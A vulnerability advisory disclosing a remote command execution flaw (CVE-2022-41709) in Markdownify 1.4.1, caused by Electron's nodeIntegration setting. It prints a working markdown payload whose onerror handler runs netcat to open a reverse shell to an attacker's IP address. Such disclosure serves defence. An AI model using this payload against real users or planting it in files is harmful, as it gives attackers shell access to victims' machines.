Markdownify 1.4.1 - RCE
|Name||Markdownify 1.4.1 - RCE|
|Affected versions||Version 1.4.1|
|Kind||Remote command execution|
|Rule||004. Remote command execution|
|CVSSv3 Base Score||8.6|
Markdownify version 1.4.1 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Markdownify. This is possible because the application has the "nodeIntegration" option enabled.
This vulnerability occurs because the application has the "nodeIntegration" option enabled. Due to the above, an attacker can embed malicious JS code in a markdown file and send it to the victim for viewing to achieve an RCE.
To exploit this vulnerability, the following file must be sent to a user to be opened with Markdownify.
<img src=1 onerror="require('child_process').exec('nc 192.168.20.38 4444 -e /bin/bash');"/>
Evidence of exploitation
Our security policy
We have reserved the CVE-2022-41709 to refer to this issue from now on.
Version: Markdownify 1.4.1
Operating System: GNU/Linux
There is currently no patch available for this vulnerability.
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
Vendor page https://github.com/amitmerchant1990/electron-markdownify
Vendor replied acknowledging the report.
Vendor Confirmed the vulnerability.